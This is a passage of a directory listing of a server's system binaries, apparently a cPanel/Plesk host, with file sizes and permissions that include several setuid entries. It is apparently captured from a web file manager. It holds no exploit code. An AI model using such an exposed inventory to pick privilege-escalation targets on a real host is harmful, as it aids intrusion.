| pure-quotacheck | File | 18.82 KB | 0755 |
|
| pure-uploadscript | File | 19.08 KB | 0755 |
|
| pwck | File | 57.27 KB | 0755 |
|
| pwconv | File | 53.1 KB | 0755 |
|
| pwhistory_helper | File | 20.44 KB | 0755 |
|
| pwunconv | File | 53.13 KB | 0755 |
|
| quot | File | 78.67 KB | 0755 |
|
| quotacheck | File | 115.75 KB | 0755 |
|
| quotaoff | File | 83.16 KB | 0755 |
|
| quotaon | File | 83.16 KB | 0755 |
|
| quotastats | File | 16.54 KB | 0755 |
|
| rdisc | File | 24.55 KB | 0755 |
|
| rdma | File | 187.38 KB | 0755 |
|
| readprofile | File | 20.55 KB | 0755 |
|
| reboot | File | 218.45 KB | 0755 |
|
| repquota | File | 83.24 KB | 0755 |
|
| request-key | File | 24.38 KB | 0755 |
|
| resize2fs | File | 64.91 KB | 0755 |
|
| resizepart | File | 41.57 KB | 0755 |
|
| resolvconf | File | 195.75 KB | 0755 |
|
| restorecon | File | 20.53 KB | 0755 |
|
| restorecon_xattr | File | 16.41 KB | 0755 |
|
| rfkill | File | 53.46 KB | 0755 |
|
| rmmod | File | 159.95 KB | 0755 |
|
| rndc | File | 36.53 KB | 0755 |
|
| rndc-confgen | File | 20.45 KB | 0755 |
|
| rotatelogs | File | 30.51 KB | 0755 |
|
| route | File | 67.63 KB | 0755 |
|
| rpc.gssd | File | 106.54 KB | 0755 |
|
| rpc.idmapd | File | 61.73 KB | 0755 |
|
| rpc.mountd | File | 163.04 KB | 0755 |
|
| rpc.nfsd | File | 49.91 KB | 0755 |
|
| rpc.statd | File | 103.29 KB | 0755 |
|
| rpcbind | File | 61.55 KB | 0755 |
|
| rpcctl | File | 9.41 KB | 0755 |
|
| rpcdebug | File | 19.38 KB | 0755 |
|
| rpcinfo | File | 32.64 KB | 0755 |
|
| rsyslogd | File | 724.73 KB | 0755 |
|
| rtacct | File | 46.94 KB | 0755 |
|
| rtcwake | File | 49.3 KB | 0755 |
|
| rtmon | File | 117.27 KB | 0755 |
|
| rtstat | File | 25.33 KB | 0755 |
|
| runlevel | File | 218.45 KB | 0755 |
|
| runq | File | 1.53 MB | 4755 |
|
| runuser | File | 48.99 KB | 0755 |
|
| saslauthd | File | 94.42 KB | 0755 |
|
| sasldblistusers2 | File | 20.77 KB | 0755 |
|
| saslpasswd2 | File | 16.42 KB | 0755 |
|
| sefcontext_compile | File | 65.35 KB | 0755 |
|
| selabel_digest | File | 12.28 KB | 0755 |
|
| selabel_lookup | File | 12.27 KB | 0755 |
|
| selabel_lookup_best_match | File | 11.89 KB | 0755 |
|
| selabel_partial_match | File | 11.88 KB | 0755 |
|
| selinux_check_access | File | 12.36 KB | 0755 |
|
| selinuxconlist | File | 11.88 KB | 0755 |
|
| selinuxdefcon | File | 11.88 KB | 0755 |
|
| selinuxenabled | File | 7.84 KB | 0755 |
|
| selinuxexeccon | File | 11.86 KB | 0755 |
|
| semodule | File | 29.27 KB | 0755 |
|
| sendmail | File | 16.91 KB | 2755 |
|
| service | File | 3.64 KB | 0755 |
|
| sestatus | File | 20.41 KB | 0755 |
|
| setcap | File | 16.27 KB | 0755 |
|
| setenforce | File | 12.27 KB | 0755 |
|
| setfiles | File | 20.53 KB | 0755 |
|
| setquota | File | 91.38 KB | 0755 |
|
| setsebool | File | 16.38 KB | 0755 |
|
| sfdisk | File | 118.51 KB | 0755 |
|
| showmount | File | 21.06 KB | 0755 |
|
| shutdown | File | 218.45 KB | 0755 |
|
| sim_server | File | 11.87 KB | 0755 |
|
| slattach | File | 43.76 KB | 0755 |
|
| sm-notify | File | 78.13 KB | 0755 |
|
| smartctl | File | 907.08 KB | 0755 |
|
| smartd | File | 733.2 KB | 0755 |
|
| ss | File | 191.3 KB | 0755 |
|
| sshd | File | 869.7 KB | 0755 |
|
| sss_cache | File | 61.09 KB | 0755 |
|
| sssd | File | 73.01 KB | 0755 |
|
| start-statd | File | 838 B | 0755 |
|
| start-stop-daemon | File | 45.98 KB | 0755 |
|
| suexec | File | 25.3 KB | 4755 |
|
| sulogin | File | 49.24 KB | 0755 |
|
| sw-engine-fpm | File | 20.12 MB | 0755 |
|
| swaplabel | File | 16.5 KB | 0755 |
|
| swapoff | File | 20.75 KB | 0755 |
|
| swapon | File | 49.41 KB | 0755 |
|
| switch_root | File | 16.49 KB | 0755 |
|
| sysctl | File | 28.88 KB | 0755 |
|
| syspurpose | File | 415 B | 0755 |
|
| tcpdump | File | 1.01 MB | 0755 |
|
| tcpslice | File | 32.63 KB | 0755 |
|
| tcsd | File | 309.72 KB | 0755 |
|
| telinit | File | 218.45 KB | 0755 |
|
| testsaslauthd | File | 16.66 KB | 0755 |
|
| timedatex | File | 33.43 KB | 0755 |
|
| tipc | File | 163.07 KB | 0755 |
|
| tmpwatch | File | 35.47 KB | 0755 |
|
| tracepath | File | 20.44 KB | 0755 |
|
| tracepath6 | File | 20.44 KB | 0755 |
|
| tsig-keygen | File | 20.46 KB | 0755 |
|
| tune2fs | File | 110.63 KB | 0755 |
|
| tuned | File | 3.88 KB | 0755 |
|
| tuned-adm | File | 6.5 KB | 0755 |
|
| udevadm | File | 424.56 KB | 0755 |
|
| umount.nfs | File | 197.24 KB | 4755 |
|
| umount.nfs4 | File | 197.24 KB | 4755 |
|
| unbound-anchor | File | 57.34 KB | 0755 |
|
| unix_chkpwd | File | 36.86 KB | 4755 |
|
| unix_update | File | 36.86 KB | 0700 |
|
| unsquashfs | File | 99.57 KB | 0755 |
|
| update-alternatives | File | 36.66 KB | 0755 |
|
| update-smart-drivedb | File | 14.44 KB | 0755 |
|
| useradd | File | 148.16 KB | 0755 |
|
| userdel | File | 107.29 KB | 0755 |
|
| usermod | File | 144.11 KB | 0755 |
|
| usernetctl | File | 12.41 KB | 4755 |
|
| uuserver | File | 15.88 KB | 0755 |
|
| vdpa | File | 118.04 KB | 0755 |
|
| vigr | File | 68.05 KB | 0755 |
|
| vipw | File | 68.05 KB | 0755 |
|
| virt-what | File | 14.22 KB | 0755 |
|
| visudo | File | 239.28 KB | 0755 |
|
| vmcore-dmesg | File | 28.58 KB | 0755 |
|
| vpddecode | File | 16.47 KB | 0755 |
|
| weak-modules | File | 33.6 KB | 0755 |
|
| whmapi0 | File | 3.38 MB | 0755 |
|
| whmapi1 | File | 3.38 MB | 0755 |
|
| whmlogin | File | 2.33 KB | 0755 |
|
| wipefs | File | 41.12 KB | 0755 |
|
| xfs_admin | File | 1.38 KB | 0755 |
|
| xfs_bmap | File | 695 B | 0755 |
|
| xfs_copy | File | 434.59 KB | 0755 |
|
| xfs_db | File | 760.47 KB | 0755 |
|
| xfs_estimate | File | 12.39 KB | 0755 |
|
| xfs_freeze | File | 800 B | 0755 |
|
| xfs_fsr | File | 53.41 KB | 0755 |
|
| xfs_growfs | File | 422.48 KB | 0755 |
|
| xfs_info | File | 1.26 KB | 0755 |
|
| xfs_io | File | 188.28 KB | 0755 |
|
| xfs_logprint | File | 454.7 KB | 0755 |
|
| xfs_mdrestore | File | 410.09 KB | 0755 |
|
| xfs_metadump | File | 782 B | 0755 |
|
| xfs_mkfile | File | 1.02 KB | 0755 |
|
| xfs_ncheck | File | 685 B | 0755 |
|
| xfs_quota | File | 93.98 KB | 0755 |
|
| xfs_repair | File | 715.24 KB | 0755 |
|
| xfs_rtcp | File | 16.38 KB | 0755 |
|
| xfs_spaceman | File | 45.42 KB | 0755 |
|
| xqmstats | File | 16.45 KB | 0755 |
|
| xtables-monitor | File | 220.8 KB | 0755 |
|
| xtables-nft-multi | File | 220.8 KB | 0755 |
|
| zdump | File | 20.56 KB | 0755 |
|
| zic | File | 52.83 KB | 0755 |
|
| zramctl | File | 99.13 KB | 0755 |
|